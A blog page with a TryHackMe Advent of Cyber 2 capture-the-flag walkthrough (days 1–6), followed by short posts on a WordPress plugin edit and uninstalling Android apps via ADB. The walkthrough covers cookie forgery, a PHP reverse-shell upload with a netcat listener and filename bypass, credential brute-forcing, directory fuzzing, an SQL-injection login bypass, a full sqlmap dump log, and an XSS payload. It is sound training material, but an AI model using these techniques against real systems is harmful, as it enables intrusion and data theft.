security. code. parenting. learning. games.

Category: Tech

TryHackMe – Advent of Cyber 2 Day 1-6 – Web Exploitation [Writeup]

Advent of Cyber 2 is a free, holiday season themed room on TryHackMe all you need to get started is an account.

A new challenge is being released every day and I will update this blog post after I completed the next day.

Day 1 – A Christmas Crisis

Deploy the attack machine and the challenge by clicking the green buttons. Then open the browser of the attack box and enter the IP of the deployed challenge box.

Now create a user by typing in a username & password then clicking register. Now log in.

Toggle on the developer tools of the browser with ctrl-shift-i. And navigate to the data panel. Here you can see the cookie name and value.

Looking at the value you can either know by experience what kind of encoding is use. Or, if you have no idea you can pull up cyberchef, paste in the value and try out a few of the favorites.

Hint: the answer is the full name of the encoding, not just the three letter short handle.

For my username of foobar the cookie decodes to:

{"company":"The Best Festival Company", "username":"foobar"}

This is the JSON format. (Sorry, no idea to be less obvious about it.)

To get Santa’s cookie, we now need to change the username in the JSON to santa and encode that JSON into Hex again. You can do that in CyberChef as well. Make sure to select a delimiter of none.

Now we go back to the assembly line website and out developer tools. We replace the value of the auth cookie with what we just calculated, then reload the page.

Now we can turn on the assembly line again and when all switches are flipped on, the final flag is revealed.

Day 2 – The Elf Strikes Back!

As always we start with deploying both the attack box and the challenge server.

First we bring up the IP of the challenge in our browser. The website pretty much tells us what to do next. We add ?id=YOUR_ID_HERE to the url and replace YOUR_ID_HERE with the code provided the challenge description.

This leads us to the upload page.

Checking the file types in the upload dialog or the source code will reveal, that the website is accepting .jpeg, .jpg and .png file. Those all are common image formats.

The Walk-through / challenge asks us now to upload a reverse shell. The briefing even tells us what reverse shell.

But let us quickly talk about how we can find out what kind of reverse shell we should try. First we need to know what programming language is being run by the server. If we are lucky, like in this case, we get that information via the http header.

To view the header, we open up the developer tools again and head to the network tab. After a reload of the page, it should populate. We click on the main file, the one with our id, then select headers on the right panel. Scrolling through the headers we can find X-Powered-By: PHP/7.2.24

This tells us we are looking for a php reverse shell, just as suggested in the challenge.

As suggested in the guide, we copy the reverse sehll with cp /usr/share/webshells/php/php-reverse-shell.php . in the terminal to our working directory. Then we run subl php-reverse-shell.php to open the reverse shell code in sublime text.

Now we change line 49 and replace the placeholder with the IP of our attack box. We can find that IP right in the top of the try hackme page. We also change the port in line 50 to the suggested 4444. As long as we use a free, high number port we can choose whatever we like here, we just have to make sure to use the same port when setting up the listener in the next step.

After saving the file we switch back to the terminal and set up a netcat listener with sudo nc -lvnp 4444

Netcat is a tool that allows us to listen to and send network traffic. We need to run it with sudo (running it with root privileges) to make sure it has the permissions to open the port we specified.

Now we need to upload our reverse shell. But the websites does not accept .php file. We still need it to end in .php for the server to interpret the files as code and run it though.

That’s why we can try need to rename it to include one of the supported file types, for example let it end in .png.php

It uploads the file but we still have nothing on the terminal. We first have to get the server to execute out reverse shell. Sometimes you can get lucky and the uploaded file gets displayed right back to you. But this is not the case here.

So we need to find our reverse shell. It will be in some kind of upload directory on the server. We could use something like fuff and use a word list to find potential upload urls. But in this case, we can try and guess a few common ones. Like upload.

We can click our reverse shell there. The website probably will be stuck loading but we get back our shell in the terminal.

With /var/www/flag.txt we can display the final flag.

Day 3 – Christmas Chaos

This day very much follows the guide already outlined in the challenge, so I will keep this brief.

After starting the attack box and deploying the challenge, we first have a look at the website. It is a typical login form.

We launch burp suit, set the Firefox proxy to burp and set intercept in the burp proxy to on. We put in some test credentials and send them. Burp intercepts the request and we can have a look at it.

In the http history tab we can send the request to the burp intruder. In the positions tab in intruders we mark the positions. The two positions we need are the text data we had send.

Then we move to the payloads tab and enter the suggested word lists of the challenge. Switch between the two lists with the payload set drop down.

After clicking Start Attack and clicking away the community edition warning, we have a look at the results. There is only one that looks different.

We disable the intercept and try that set of credentials to log in. In that control panel we find the flag.

Day 4 – Santa’s Watching

After starting the attack box and deploying the challenge we can view the defaced site.

To solve the second question, read the documentation above, it should tell you how to construct the required command.

Now we try to find the API endpoint of the forum with gobuster. As suggested we use -w to specify the dirbuster big word list. We add the .php extension with -x. This is not needed to solve the challenge, it just put it in there because most forum software is written in php and so have been the previous challenges.

<code>gobuster dir -u http://10.10.79.210/ -w /usr/share/wordlists/dirb/big.txt -x .php</code>

In gobuster’s output we find /api with a 301 http code, indicating it has permanently moved. We pull the url up in the browser.

It redirects to /api/ , a folder on the server. It looks like the API is only containing one endpoint, site-log.php

The challenge tells us that the parameter for the endpoint is date. Usually we would have to find that one out by either fuzzing or reading documentation if that is availible for the software running.

So we fuzz it with wfuzz:

wfuzz -c -z file,/opt/AoC-2020/Day-4/wordlist -u http://10.10.79.210/api/site-log.php?date=FUZZ

In the output we see one of the results to have a different length. So we pull up the url with that parameter.

http://10.10.79.210/api/site-log.php?date=20201125

That will give us the flag and complete this day.

Day 5 – Someone stole Santa’s gift list!

First we pull of the site in the browser.

I very much recommend that you play around a bit with the SQL injection training site also hosted on port 3000 if you are new to SQL injections.

Next we are supposed to guess the panel name. Trying a few things will hopefully lead you eventually to santapanel

Now we can us an SQL injection to bypass the login page. We use santa as username and ' or true; -- as password. The ' end the string where the password is meant to be inerted. or true; adds another condition to the SQL statement. It now basically asks if the password matches or true. or true always leads to true so the comparisson with the password become irrelevant and we can log in with any existing user we specify. -- mark the rest of the original SQL querry as comment.

Our next task is to fins out how many entries the gift table has and what Paul wants. We can use the same payload ' or true; -- again. This time it does not invalidate the password, but the kids name. This way it puts out the gift for every kid. Now it just is a matter of counting and finding Pauls gift.

The screenshot is intentionally cropped to not reveal the answers. What we can see that the search terms are transmitted in the URL as GET parameter. This makes using a tool like SQL map rather easy. So instead of manually dumping the database to look for the flag and admin password, we use SQL map.

Firt we start up burp and switch the proxy in the browser to burp. Then we reload the panel with a default search, like shoes. We send the request in the burp proxy to the intruder, where we can save ti to disk. This allows us to use the cookie of our session ect. with SQLmap.

sqlmap -r gift --dump-all --tamper=space2comment

-r gift points sqlmap to the file saved from burp. I named mine gift but you might have chosen a different name.

--dump-all asks it to dump all data it can find

--tamper=space2comment is a simple WAF evasion technique something hinted at in the challenge. If you forget it, sqlmap will suggest it too though.

While it is running, sqlmap will prompt you for input. See the full dump below for details.

root@ip-10-10-172-235:~# sqlmap -r gift --dump-all --tamper=space2comment
        ___
       __H__
 ___ ___[(]_____ ___ ___  {1.2.4#stable}
|_ -| . [,]     | .'| . |
|___|_  [.]_|_|_|__,|  _|
      |_|V          |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 02:09:08

[02:09:08] [INFO] parsing HTTP request from 'gift'
[02:09:08] [INFO] loading tamper script 'space2comment'
[02:09:08] [INFO] testing connection to the target URL
[02:09:08] [INFO] testing if the target URL content is stable
[02:09:09] [INFO] target URL content is stable
[02:09:09] [INFO] testing if GET parameter 'search' is dynamic
[02:09:09] [INFO] confirming that GET parameter 'search' is dynamic
[02:09:09] [INFO] GET parameter 'search' is dynamic
[02:09:09] [WARNING] heuristic (basic) test shows that GET parameter 'search' might not be injectable
[02:09:09] [INFO] testing for SQL injection on GET parameter 'search'
[02:09:09] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[02:09:09] [WARNING] reflective value(s) found and filtering out
[02:09:09] [INFO] GET parameter 'search' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable (with --string="James")
[02:09:09] [INFO] heuristic (extended) test shows that the back-end DBMS could be 'MySQL' 
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] n
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] Y
[02:09:28] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)'
[02:09:28] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (BIGINT UNSIGNED)'
[02:09:28] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)'
[02:09:28] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (EXP)'
[02:09:28] [INFO] testing 'MySQL >= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS)'
[02:09:28] [INFO] testing 'MySQL >= 5.7.8 OR error-based - WHERE or HAVING clause (JSON_KEYS)'
[02:09:28] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[02:09:28] [INFO] testing 'MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[02:09:28] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[02:09:28] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[02:09:28] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML)'
[02:09:28] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML)'
[02:09:28] [INFO] testing 'MySQL >= 4.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[02:09:28] [INFO] testing 'MySQL >= 4.1 OR error-based - WHERE or HAVING clause (FLOOR)'
[02:09:28] [INFO] testing 'MySQL OR error-based - WHERE or HAVING clause (FLOOR)'
[02:09:28] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[02:09:28] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)'
[02:09:28] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[02:09:28] [INFO] testing 'MySQL >= 5.1 error-based - PROCEDURE ANALYSE (EXTRACTVALUE)'
[02:09:28] [INFO] testing 'MySQL >= 5.5 error-based - Parameter replace (BIGINT UNSIGNED)'
[02:09:28] [INFO] testing 'MySQL >= 5.5 error-based - Parameter replace (EXP)'
[02:09:28] [INFO] testing 'MySQL >= 5.7.8 error-based - Parameter replace (JSON_KEYS)'
[02:09:28] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace (FLOOR)'
[02:09:28] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace (UPDATEXML)'
[02:09:28] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace (EXTRACTVALUE)'
[02:09:28] [INFO] testing 'MySQL inline queries'
[02:09:28] [INFO] testing 'PostgreSQL inline queries'
[02:09:28] [INFO] testing 'Microsoft SQL Server/Sybase inline queries'
[02:09:28] [INFO] testing 'MySQL > 5.0.11 stacked queries (comment)'
[02:09:28] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[02:09:28] [INFO] testing 'MySQL > 5.0.11 stacked queries (query SLEEP - comment)'
[02:09:28] [INFO] testing 'MySQL > 5.0.11 stacked queries (query SLEEP)'
[02:09:28] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query - comment)'
[02:09:28] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query)'
[02:09:28] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)'
[02:09:28] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)'
[02:09:28] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)'
[02:09:28] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind'
[02:09:28] [INFO] testing 'MySQL >= 5.0.12 OR time-based blind'
[02:09:28] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (comment)'
[02:09:28] [INFO] testing 'MySQL >= 5.0.12 OR time-based blind (comment)'
[02:09:28] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[02:09:28] [INFO] testing 'MySQL >= 5.0.12 OR time-based blind (query SLEEP)'
[02:09:28] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP - comment)'
[02:09:28] [INFO] testing 'MySQL >= 5.0.12 OR time-based blind (query SLEEP - comment)'
[02:09:28] [INFO] testing 'MySQL <= 5.0.11 AND time-based blind (heavy query)'
[02:09:28] [INFO] testing 'MySQL <= 5.0.11 OR time-based blind (heavy query)'
[02:09:28] [INFO] testing 'MySQL <= 5.0.11 AND time-based blind (heavy query - comment)'
[02:09:28] [INFO] testing 'MySQL <= 5.0.11 OR time-based blind (heavy query - comment)'
[02:09:28] [INFO] testing 'MySQL >= 5.0.12 RLIKE time-based blind'
[02:09:29] [INFO] testing 'MySQL >= 5.0.12 RLIKE time-based blind (comment)'
[02:09:29] [INFO] testing 'MySQL >= 5.0.12 RLIKE time-based blind (query SLEEP)'
[02:09:29] [INFO] testing 'MySQL >= 5.0.12 RLIKE time-based blind (query SLEEP - comment)'
[02:09:29] [INFO] testing 'MySQL AND time-based blind (ELT)'
[02:09:29] [INFO] testing 'MySQL OR time-based blind (ELT)'
[02:09:29] [INFO] testing 'MySQL AND time-based blind (ELT - comment)'
[02:09:29] [INFO] testing 'MySQL OR time-based blind (ELT - comment)'
[02:09:29] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[02:09:29] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind (IF)'
[02:09:29] [INFO] testing 'Oracle AND time-based blind'
[02:09:29] [INFO] testing 'MySQL >= 5.1 time-based blind (heavy query) - PROCEDURE ANALYSE (EXTRACTVALUE)'
[02:09:29] [INFO] testing 'MySQL >= 5.1 time-based blind (heavy query - comment) - PROCEDURE ANALYSE (EXTRACTVALUE)'
[02:09:29] [INFO] testing 'MySQL >= 5.0.12 time-based blind - Parameter replace'
[02:09:29] [INFO] testing 'MySQL >= 5.0.12 time-based blind - Parameter replace (substraction)'
[02:09:29] [INFO] testing 'MySQL <= 5.0.11 time-based blind - Parameter replace (heavy queries)'
[02:09:29] [INFO] testing 'MySQL time-based blind - Parameter replace (bool)'
[02:09:29] [INFO] testing 'MySQL time-based blind - Parameter replace (ELT)'
[02:09:29] [INFO] testing 'MySQL time-based blind - Parameter replace (MAKE_SET)'
[02:09:29] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[02:09:29] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[02:09:29] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[02:09:29] [INFO] target URL appears to have 2 columns in query
injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n] Y
[02:09:34] [WARNING] if UNION based SQL injection is not detected, please consider forcing the back-end DBMS (e.g. '--dbms=mysql') 
[02:09:34] [INFO] testing 'MySQL UNION query (39) - 1 to 20 columns'
[02:09:34] [INFO] testing 'MySQL UNION query (39) - 21 to 40 columns'
[02:09:35] [INFO] testing 'MySQL UNION query (39) - 41 to 60 columns'
[02:09:35] [INFO] testing 'MySQL UNION query (39) - 61 to 80 columns'
[02:09:36] [INFO] testing 'MySQL UNION query (39) - 81 to 100 columns'
[02:09:36] [INFO] checking if the injection point on GET parameter 'search' is a false positive
[02:09:36] [INFO] heuristics detected web page charset 'ascii'
[02:09:36] [WARNING] parameter length constraining mechanism detected (e.g. Suhosin patch). Potential problems in enumeration phase can be expected
GET parameter 'search' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 195 HTTP(s) requests:
---
Parameter: search (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: search=shoes%' AND 1839=1839 AND '%'='
---
[02:09:43] [WARNING] changes made by tampering scripts are not included in shown payload content(s)
[02:09:43] [INFO] testing MySQL
[02:09:43] [WARNING] the back-end DBMS is not MySQL
[02:09:43] [INFO] testing Oracle
[02:09:43] [WARNING] the back-end DBMS is not Oracle
[02:09:43] [INFO] testing PostgreSQL
[02:09:43] [WARNING] the back-end DBMS is not PostgreSQL
[02:09:43] [INFO] testing Microsoft SQL Server
[02:09:43] [WARNING] the back-end DBMS is not Microsoft SQL Server
[02:09:43] [INFO] testing SQLite
[02:09:43] [INFO] confirming SQLite
[02:09:43] [INFO] actively fingerprinting SQLite
[02:09:43] [INFO] the back-end DBMS is SQLite
back-end DBMS: SQLite
[02:09:43] [INFO] sqlmap will dump entries of all tables from all databases now
[02:09:43] [INFO] fetching tables for database: 'SQLite_masterdb'
[02:09:43] [INFO] fetching number of tables for database 'SQLite_masterdb'
[02:09:43] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[02:09:43] [INFO] retrieved: 3
[02:09:43] [INFO] retrieved: users
[02:09:44] [INFO] retrieved: sequels
[02:09:45] [INFO] retrieved: hidden_table
[02:09:46] [INFO] retrieved: CREATE TABLE sequels (title text, kid text, age integer)
[02:09:54] [INFO] fetching entries for table 'sequels' in database 'SQLite_masterdb'
[02:09:54] [INFO] fetching number of entries for table 'sequels' in database 'SQLite_masterdb'
[02:09:54] [INFO] retrieved: 22
Database: SQLite_masterdb
Table: sequels
[22 entries]
+------+------+-------+
| kid  | age  | title |
+------+------+-------+
| NULL | NULL | NULL  |
| NULL | NULL | NULL  |
| NULL | NULL | NULL  |
| NULL | NULL | NULL  |
| NULL | NULL | NULL  |
| NULL | NULL | NULL  |
| NULL | NULL | NULL  |
| NULL | NULL | NULL  |
| NULL | NULL | NULL  |
| NULL | NULL | NULL  |
| NULL | NULL | NULL  |
| NULL | NULL | NULL  |
| NULL | NULL | NULL  |
| NULL | NULL | NULL  |
| NULL | NULL | NULL  |
| NULL | NULL | NULL  |
| NULL | NULL | NULL  |
| NULL | NULL | NULL  |
| NULL | NULL | NULL  |
| NULL | NULL | NULL  |
| NULL | NULL | NULL  |
| NULL | NULL | NULL  |
+------+------+-------+

[02:09:54] [INFO] table 'SQLite_masterdb.sequels' dumped to CSV file '/root/.sqlmap/output/10.10.112.21/dump/SQLite_masterdb/sequels.csv'
[02:09:54] [INFO] retrieved: CREATE TABLE hidden_table (flag text)
[02:10:00] [INFO] fetching entries for table 'hidden_table' in database 'SQLite_masterdb'
[02:10:00] [INFO] fetching number of entries for table 'hidden_table' in database 'SQLite_masterdb'
[02:10:00] [INFO] retrieved: 1
[02:10:00] [INFO] retrieved: thmfox{All_I_Want_for_Christmas_Is_You}
Database: SQLite_masterdb
Table: hidden_table
[1 entry]
+-----------------------------------------+
| flag                                    |
+-----------------------------------------+
| Here will be the flag                   |
+-----------------------------------------+

[02:10:05] [INFO] table 'SQLite_masterdb.hidden_table' dumped to CSV file '/root/.sqlmap/output/10.10.112.21/dump/SQLite_masterdb/hidden_table.csv'
[02:10:05] [INFO] retrieved: CREATE TABLE users (username text, password text)
[02:10:09] [INFO] fetching entries for table 'users' in database 'SQLite_masterdb'
[02:10:09] [INFO] fetching number of entries for table 'users' in database 'SQLite_masterdb'
[02:10:09] [INFO] retrieved: 1
[02:10:09] [INFO] retrieved: EhCNSWzzFP6sc7gB
[02:10:10] [INFO] retrieved: admin
Database: SQLite_masterdb
Table: users
[1 entry]
+----------+------------------+
| username | password         |
+----------+------------------+
| admin    | here password    |
+----------+------------------+

[02:10:10] [INFO] table 'SQLite_masterdb.users' dumped to CSV file '/root/.sqlmap/output/10.10.112.21/dump/SQLite_masterdb/users.csv'
[02:10:10] [WARNING] HTTP error codes detected during run:
400 (Bad Request) - 1 times
[02:10:10] [INFO] fetched data logged to text files under '/root/.sqlmap/output/10.10.112.21'

[*] shutting down at 02:10:10

In the dump you find flag and password but I removed them of course.

Day 6 – Be careful what you wish on a Christmas night

Again we launch both boxes and pull the website up in the browser.

First we get a bit of a feeling for the app by adding a few items and using the search.

Then we try a basic XSS payload in the fields. <script>alert('1')</script>. In the search field, this already triggers.

In the url bar we can see the parameter.

The same payload can be used in the new book field. This results in a stored crosssite scripting. Every time you reload the site, a popup will come up.

For the next part we launch OWASP Zap and give it a moment to update after the starts. Then we start a automated scan of our target.

Basically ZAP finds the two vulnerabilities we already discussed above.

Reload the site again and have a look at what Zap added to the list. It is quite a verbose testing.

Excluding a Category from WordPress main page & RSS feed (quick & dirty)

I recently started a daily writing practice and while just using the existing blog, seemed to be the fastest way, I also did not want the posts in the main blog and RSS feed.

You can find the posts in Notebook category. By default, WordPress does not let you do that though.

Ultimate Category Excluder

The Ultimate Category Excluder (what a name) plugin lets you hide a category from the latest blog posts as well as RSS feeds. It is rather dimple to configure and does what it says it does.

It does however hide the category from all RSS feeds. I anted to have a feed for the category though, so people interested in following the notebook, could subscribe. It also allows for syndication like in Rixx notebook collection.

Quick & Dirty fix

My goal was to set this up quickly and I was already considering just running a hugo or other static generator. That would have taken quite a bit of time to properly set up as well though.

But then I found a post on the plugin’s support forums that describes a quick & dirty fix. In line 152 157 in /plugins/ultimate-category-excluder/ultimate-category-excluder.php change (EDIT: The line changed to 157 with the current version)

if ( $query->is_feed ) {

to

if ( $query->is_feed && !$query->is_archive ) {

It works and from a quick glance at the rest of the plugin’s code should not have further side effects.

That change still comes with one Drawback, I have to do it every time the plugin is updated and I can not rely on the integrity check for the plugin file since it always comes up as changed.

This can only be a short term solution and I would not recommend it for the use in customer projects. I hope excluding a category only from the main feed will be added as a feature to the plugin, but if it does not, I will eventually have to write my own solution.

Uninstalling Preinstalled Android Apps without root

On my Moto G6 every Update seems to re-enable the Outlook and linked-in in apps I disabled on purpose. You can not uninstall apps that have been installed by the manufacturer via the play store or app settings, only disable them.

So far I have been disabling them after each update but I have gotten quite annoyed by it and did a little bit of research to find out how to fully uninstall them.

Prerequisites

What you need is the Android Developer Bridge (ADB) on your computer and you need to enable USB debugging on the phone.

I have used Windows in this guide but there is a great guide on how to set everything up in Windows, Mac & Linux over at XDA-Developers that walks you through the process.

USB Debugging on the Phone

If you haven’t enabled the Developer Mode on your phone yet, you have to navigate to Settings, then System -> About and scroll down to the buid number. Tap this 7 times to enable Developer mode.

Then You will find the Developer Settings in the Systems Settings menu. Go there and enable USB debugging.

ADB on Windows

Setting up ADB on Windows is straight forward. Download the latest ADB version, extract the files in the zip and navigate in Powershell to the extracted folder.

Tipp: You can hold down SHIFT when right-clicking in Explorer and use “Open Powershell here”

From here you can run the adb commands. Since we did not add the folder to the PATH we will have to preface the command with .\ to make it use the adb.exe in this folder.

If you follow this guide on a different OS or have ADB in your PATH you don’t have to use the .\

Connecting the Phone

Connect the phone via USB and double check that USB debugging is enabled.

Then you check for connected devices

.\adb devices                                  

This starts up the ADB service and lists connected devices

* daemon not running; starting now at tcp:5037
* daemon started successfully
List of devices attached
ZY322XXXX      unauthorized

On your phone you should get a pop-up asking you to confirm the ADB connection to the computer. After accepting it

.\adb devices                                  

Should list your device now not as unauthorized anymore.

List of devices attached
ZY322XXXX      device

Listing the Apps

.\adb shell pm list packages

Prints out a long list of all installed apps. You can use this list to find the full name of the apps you want to uninstall.

...
package:com.google.android.apps.inputmethod.zhuyin
package:com.microsoft.office.outlook
package:com.google.zxing.client.android
package:com.qualcomm.qti.dynamicddsservice
package:com.google.android.setupwizard
package:eu.siacs.conversations.legacy
package:com.qualcomm.qcrilmsgtunnel
...
package:com.keylesspalace.tusky
package:com.motorola.msimsettings
package:com.android.bookmarkprovider
package:com.linkedin.android
package:com.android.settings
package:com.motorola.arselfie
package:com.qualcomm.qti.lpa
package:com.qualcomm.qti.uim
package:com.google.android.inputmethod.pinyin
...

While you can uninstall most apps like linkedin and outlook you should be more careful with system apps.

Uninstalling the App

.\adb shell pm uninstall --user 0 [Package Name]

Will uninstall the app. So in my case I just had to issue

.\adb shell pm uninstall --user 0 com.microsoft.office.outlook

and

.\adb shell pm uninstall --user 0 com.linkedin.android

Once ADB returns with Success you can unplug your device and are done.

Remember to disable USB Debugging again in your Developer Settings.

Powered by WordPress & Theme by Anders Norén